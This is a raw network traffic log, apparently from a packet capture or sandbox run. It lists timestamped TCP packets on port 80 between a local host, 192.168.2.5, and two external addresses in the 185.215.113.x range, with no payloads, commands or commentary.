Dec 10, 2024 05:10:37.313772917 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.313817978 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.313894033 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.315103054 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.315941095 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.315988064 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.316037893 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.316093922 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.318083048 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.318128109 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.318203926 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.318248034 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.320269108 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.320344925 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.320389986 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.322338104 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.322451115 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.322491884 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.324460983 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.324570894 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.324623108 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.326539993 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.326586962 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.326647997 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.327106953 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.328576088 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.328620911 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.328691006 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.328732967 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.330667973 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.330720901 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.330755949 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.330796957 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.332658052 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.332761049 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.332804918 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.334656954 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.334794044 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.334840059 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.336019993 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.336136103 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.336184978 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.337387085 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.337430954 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.337486982 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.338783026 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.338829994 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.366156101 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:37.367135048 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:37.383891106 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:37.383924961 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:37.456675053 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.456762075 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.457952023 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.457964897 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.458012104 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.486345053 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.486596107 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.575958014 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.575972080 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.576046944 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.577116013 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.577126980 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.577162027 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.577186108 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.606751919 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.606805086 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.681689978 CET	49895	80	192.168.2.5	185.215.113.206
Dec 10, 2024 05:10:37.695256948 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695399046 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695409060 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.695414066 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695424080 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695435047 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695445061 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695456028 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695466042 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695467949 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.695476055 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695487022 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695497036 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695507050 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695516109 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.695530891 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.695548058 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.695729971 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695744991 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695777893 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.695794106 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.695862055 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695873022 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695883036 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695899010 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695909023 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.695909023 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695920944 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695930958 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695933104 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.695940971 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695945978 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.695952892 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695965052 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.695969105 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.695995092 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.696006060 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.696621895 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.696634054 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.696643114 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.696662903 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.696672916 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.696753025 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.696763992 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.696773052 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.696793079 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.696800947 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.696803093 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.696810007 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.696818113 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.696827888 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.696835995 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.696839094 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.696849108 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.696856976 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.696860075 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.696866989 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.696893930 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.697571039 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.697582960 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.697601080 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.697611094 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.697617054 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.697621107 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.697630882 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.697633982 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.697640896 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.697652102 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.697659016 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.697681904 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.697691917 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.698082924 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.698128939 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.698232889 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.698242903 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.698251963 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.698263884 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.698271990 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.698273897 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.698283911 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.698293924 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.698297977 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.698309898 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.698317051 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.698319912 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.698326111 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.698331118 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.698342085 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.698355913 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.698378086 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.699129105 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.699140072 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.699150085 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.699160099 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.699170113 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.699177027 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.699181080 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.699191093 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.699194908 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.699201107 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.699202061 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.699217081 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.699225903 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.699233055 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.699240923 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.699250937 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.699251890 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.699258089 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.699285030 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.700054884 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700066090 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700076103 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700086117 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700094938 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.700095892 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700109959 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700114965 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.700120926 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700129986 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700136900 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.700140953 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700153112 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700159073 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.700162888 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700172901 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700177908 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.700184107 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700191021 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.700201035 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.700225115 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.700802088 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700851917 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.700962067 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700973034 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700983047 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.700993061 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701003075 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701006889 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.701014042 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701023102 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701028109 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.701034069 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701044083 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701045990 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.701054096 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701056957 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.701064110 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701085091 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.701109886 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.701714993 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701726913 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:37.701734066 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:37.701741934 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:37.701750040 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:37.701756954 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:37.701765060 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.701767921 CET	80	49895	185.215.113.206	192.168.2.5
Dec 10, 2024 05:10:37.701858997 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701869965 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701878071 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701901913 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.701922894 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.701942921 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701953888 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701966047 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701975107 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701980114 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701982975 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.701988935 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.701999903 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702007055 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.702009916 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702019930 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702028036 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.702049971 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.702858925 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702868938 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702878952 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702889919 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702898979 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702908039 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.702909946 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702915907 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.702922106 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702931881 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702939034 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.702941895 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702951908 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702961922 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702961922 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.702970982 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.702975035 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.702999115 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.703016996 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.703622103 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.703639030 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.703649044 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.703660011 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.703669071 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.703671932 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.703676939 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.703708887 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.703758001 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.703769922 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.703775883 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.703780890 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.703789949 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.703799963 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.703809023 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.703819990 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.703820944 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.703838110 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.703860998 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.704544067 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.704555988 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.704591990 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.704698086 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.704708099 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.704718113 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.704726934 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.704736948 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.704742908 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.704747915 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.704752922 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.704757929 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.704768896 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.704778910 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.704781055 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.704788923 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.704806089 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.704818010 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.704843044 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.705425024 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.705471992 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.705666065 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.705682039 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.705693007 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.705703020 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.705707073 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.705713987 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.705718994 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.705724955 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.705734015 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.705739021 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.705744028 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.705754042 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.705761909 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.705764055 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.705782890 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.705805063 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.706413984 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.706423998 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.706461906 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.706569910 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.706581116 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.706590891 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.706599951 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.706609964 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.706610918 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.706619978 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.706631899 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.706634045 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.706641912 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.706650972 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.706659079 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.706661940 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.706671953 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.706676960 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.706697941 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.706716061 CET	49901	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:37.707461119 CET	80	49901	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:37.707470894 CET	80	49901	185.215.113.16	192.168.2.5
